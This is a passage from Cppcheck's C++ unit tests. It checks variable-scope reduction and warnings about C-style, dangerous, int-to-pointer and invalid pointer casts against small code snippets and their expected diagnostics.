f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n 